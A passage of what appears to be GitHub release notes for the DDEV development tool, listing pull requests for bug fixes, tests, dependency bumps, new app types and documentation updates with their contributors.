<li>docs: Update Ibexa DXP install by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/adriendupuis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/adriendupuis">@adriendupuis</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3805274672" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8021" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8021/hovercard" href="https://github.com/ddev/ddev/pull/8021">#8021</a></li>
<li>test: Disable long-running tests when GOTEST_SHORT is set, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3814257730" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8026" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8026/hovercard" href="https://github.com/ddev/ddev/issues/8026">#8026</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3814695320" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8028" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8028/hovercard" href="https://github.com/ddev/ddev/pull/8028">#8028</a></li>
<li>build(docker-compose): Bump docker-compose to v5.0.1 before release by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3814852853" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8031" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8031/hovercard" href="https://github.com/ddev/ddev/pull/8031">#8031</a></li>
<li>test(docker): Add Docker CE container cleanup for WSL instances, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3814823179" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8029" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8029/hovercard" href="https://github.com/ddev/ddev/issues/8029">#8029</a> by @Copilot in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3814825356" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8030" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8030/hovercard" href="https://github.com/ddev/ddev/pull/8030">#8030</a></li>
<li>fix: prevent panic during <code>ddev poweroff</code> or use of container.Names[0], fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3811380435" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8024" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8024/hovercard" href="https://github.com/ddev/ddev/issues/8024">#8024</a> by @Copilot in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3814633137" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8027" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8027/hovercard" href="https://github.com/ddev/ddev/pull/8027">#8027</a></li>
<li>docs(xdebug): Add step-debugging.md endpoint security notes by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joelpittet/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joelpittet">@joelpittet</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3777521549" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8002" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8002/hovercard" href="https://github.com/ddev/ddev/pull/8002">#8002</a></li>
<li>feat(codeigniter): add CodeIgniter 4 app type, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3068326488" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7303" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7303/hovercard" href="https://github.com/ddev/ddev/issues/7303">#7303</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Franky5831/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Franky5831">@Franky5831</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3622910076" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7853" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7853/hovercard" href="https://github.com/ddev/ddev/pull/7853">#7853</a></li>
<li>fix(composer): run post-create-project-cmd for plugin events by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3819196336" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8039" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8039/hovercard" href="https://github.com/ddev/ddev/pull/8039">#8039</a></li>
<li>fix: sort web_extra_exposed_ports for router port matching in generic webserver, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3434139793" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7640" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7640/hovercard" href="https://github.com/ddev/ddev/issues/7640">#7640</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3822882288" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8040" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8040/hovercard" href="https://github.com/ddev/ddev/pull/8040">#8040</a></li>
<li>feat(xdebug-diagnose): Add <code>ddev utility xdebug-diagnose</code> command with interactive mode and WSL2 support by @Copilot in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3778517084" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8004" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8004/hovercard" href="https://github.com/ddev/ddev/pull/8004">#8004</a></li>
<li>fix: exclude paused/stopped projects from router's Traefik configuration by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3748548051" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7961" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7961/hovercard" href="https://github.com/ddev/ddev/pull/7961">#7961</a></li>
<li>test(quickstart): fix TYPO3 v14 test [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3834544982" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8044" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8044/hovercard" href="https://github.com/ddev/ddev/pull/8044">#8044</a></li>
<li>fix(pause): resolve race condition in app.Pause() causing intermittent test failures by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3834117681" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8043" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8043/hovercard" href="https://github.com/ddev/ddev/pull/8043">#8043</a></li>
<li>feat(devcontainer): Add more explicit support for non-codespaces devcontainer, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3063729923" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7294" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7294/hovercard" href="https://github.com/ddev/ddev/issues/7294">#7294</a>, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3634176464" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7876" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7876/hovercard" href="https://github.com/ddev/ddev/issues/7876">#7876</a>, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3801324251" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8018" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8018/hovercard" href="https://github.com/ddev/ddev/issues/8018">#8018</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3815143833" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8032" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8032/hovercard" href="https://github.com/ddev/ddev/pull/8032">#8032</a></li>
<li>fix: pull all app images at once, initialize XHGui ports and mode if empty, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3811346250" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8023" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8023/hovercard" href="https://github.com/ddev/ddev/issues/8023">#8023</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3838723636" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8046" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8046/hovercard" href="https://github.com/ddev/ddev/pull/8046">#8046</a></li>
<li>fix(webserver): better log-stderr.sh reporting, remove trixie-backports by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3833225571" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8042" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8042/hovercard" href="https://github.com/ddev/ddev/pull/8042">#8042</a></li>
<li>build(deps): bump go.mod and docker-compose to v5.0.2 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3837948652" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8045" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8045/hovercard" href="https://github.com/ddev/ddev/pull/8045">#8045</a></li>
<li>test(quickstart): add Wagtail (Django) Python, remove FrankenPHP by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3842725618" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8049" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8049/hovercard" href="https://github.com/ddev/ddev/pull/8049">#8049</a></li>
<li>fix(cakephp): add new variable APP_FULL_BASE_URL to .env file by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ajibarra/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ajibarra">@ajibarra</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3842577307" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8048" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8048/hovercard" href="https://github.com/ddev/ddev/pull/8048">#8048</a></li>
<li>fix(poweroff): Skip poweroff prompt when containers already stopped during version upgrade by @Copilot in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3848144775" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8052" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8052/hovercard" href="https://github.com/ddev/ddev/pull/8052">#8052</a></li>
<li>fix(router): Fix ephemeral port allocation when router is unhealthy, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3830836096" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8041" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8041/hovercard" href="https://github.com/ddev/ddev/issues/8041">#8041</a> by @Copilot in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3847851352" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8051" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8051/hovercard" href="https://github.com/ddev/ddev/pull/8051">#8051</a></li>
<li>feat(add-ons): Use addons.json to avoid GitHub API rate limits, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3508049094" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7707" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7707/hovercard" href="https://github.com/ddev/ddev/issues/7707">#7707</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3760928582" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7978" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7978/hovercard" href="https://github.com/ddev/ddev/pull/7978">#7978</a></li>
<li>build(deps): bump actions/setup-python from 6.1.0 to 6.2.0 by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3856858704" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8059" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8059/hovercard" href="https://github.com/ddev/ddev/pull/8059">#8059</a></li>
<li>docs: Update Lagoon provider instructions with sync config, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3768525805" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7990" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7990/hovercard" href="https://github.com/ddev/ddev/issues/7990">#7990</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/froboy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/froboy">@froboy</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3768528261" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7991" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7991/hovercard" href="https://github.com/ddev/ddev/pull/7991">#7991</a></li>
<li>test(quickstart): disable symfony tests, update Laravel SQLite, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3855739168" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8058" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8058/hovercard" href="https://github.com/ddev/ddev/issues/8058">#8058</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3861011927" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8060" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8060/hovercard" href="https://github.com/ddev/ddev/pull/8060">#8060</a></li>
<li>feat(drupal12): Drupal 12 is now showing up in dev, support it, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3852470928" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8055" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8055/hovercard" href="https://github.com/ddev/ddev/issues/8055">#8055</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3852526865" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8056" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8056/hovercard" href="https://github.com/ddev/ddev/pull/8056">#8056</a></li>
<li>fix(ddevapp): check file existence in isCustomConfigFile by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3861764625" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8061" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8061/hovercard" href="https://github.com/ddev/ddev/pull/8061">#8061</a></li>
<li>fix(router): bypass CheckRouterPorts when all ports appear busy, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3693813229" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7921" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7921/hovercard" href="https://github.com/ddev/ddev/issues/7921">#7921</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3706631046" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7927" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7927/hovercard" href="https://github.com/ddev/ddev/pull/7927">#7927</a></li>
<li>docs(drupal-cms): In the Drupal CMS quick-start, call drupal recipe:unpack by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/phenaproxima/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/phenaproxima">@phenaproxima</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3818313021" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8037" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8037/hovercard" href="https://github.com/ddev/ddev/pull/8037">#8037</a></li>
<li>chore(quickstart): enable tests for symfony, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3855739168" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8058" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8058/hovercard" href="https://github.com/ddev/ddev/issues/8058">#8058</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3865724504" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8070" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8070/hovercard" href="https://github.com/ddev/ddev/pull/8070">#8070</a></li>
<li>feat(commands): add Windows support for DBeaver outside WSL, add cygwin to OSTYPE by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ddubau/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ddubau">@ddubau</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3862908143" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8065" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8065/hovercard" href="https://github.com/ddev/ddev/pull/8065">#8065</a></li>
<li>build(docker): bump images to v1.25.0 for release, update MariaDB gpg key by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3862122088" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8062" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8062/hovercard" href="https://github.com/ddev/ddev/pull/8062">#8062</a></li>
<li>fix(lagoon): bug in lagoon-sync means it fails if ~/.ssh/known_hosts doesn't exist [skip buildkite] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3866685126" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8072" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8072/hovercard" href="https://github.com/ddev/ddev/pull/8072">#8072</a></li>
<li>fix(healthcheck): resolve optional profiles to services, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3541461422" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7745" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7745/hovercard" href="https://github.com/ddev/ddev/pull/7745">#7745</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3866582672" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8071" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8071/hovercard" href="https://github.com/ddev/ddev/pull/8071">#8071</a></li>
<li>test(quickstart): fix Statamic check for login page by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3867068600" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8073" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8073/hovercard" href="https://github.com/ddev/ddev/pull/8073">#8073</a></li>
<li>test: fix drupal.bats for drupal cms 2 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rpkoller/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rpkoller">@rpkoller</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3867749985" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8074" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8074/hovercard" href="https://github.com/ddev/ddev/pull/8074">#8074</a></li>
<li>test: add DDEV_EMBARGO_TESTS to skip tests via environment variable, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3871275997" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8076" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8076/hovercard" href="https://github.com/ddev/ddev/issues/8076">#8076</a> [skip buildkite] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3871353826" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8077" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8077/hovercard" href="https://github.com/ddev/ddev/pull/8077">#8077</a></li>
<li>build(webserver): fix check for MariaDB keyring [skip buildkite] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3872270038" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8078" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8078/hovercard" href="https://github.com/ddev/ddev/pull/8078">#8078</a></li>
<li>chore: update version history for v1.25.0, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3716704952" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7934" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7934/hovercard" href="https://github.com/ddev/ddev/issues/7934">#7934</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3872319811" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8079" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8079/hovercard" href="https://github.com/ddev/ddev/pull/8079">#8079</a></li>
<li>test: skip TestExtractCurlBody when httpbin.org is unavailable [skip buildkite] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3872748552" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8080" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8080/hovercard" href="https://github.com/ddev/ddev/pull/8080">#8080</a></li>
<li>test(openmage): add --no-security-blocking to openmage.bats for Composer 2.9 compatibility [skip buildkite] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3888458213" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8092" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8092/hovercard" href="https://github.com/ddev/ddev/pull/8092">#8092</a></li>
<li>chore(github): update PR template by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3887168991" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8089" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8089/hovercard" href="https://github.com/ddev/ddev/pull/8089">#8089</a></li>
<li>fix(heidisql): get basename for postgres library, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3877835266" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8086" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8086/hovercard" href="https://github.com/ddev/ddev/issues/8086">#8086</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3887098479" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8087" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8087/hovercard" href="https://github.com/ddev/ddev/pull/8087">#8087</a></li>
<li>fix(add-on): Re-add the output suggesting ddev restart after add-on, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3887131086" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8088" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8088/hovercard" href="https://github.com/ddev/ddev/issues/8088">#8088</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3887425861" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8090" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8090/hovercard" href="https://github.com/ddev/ddev/pull/8090">#8090</a></li>
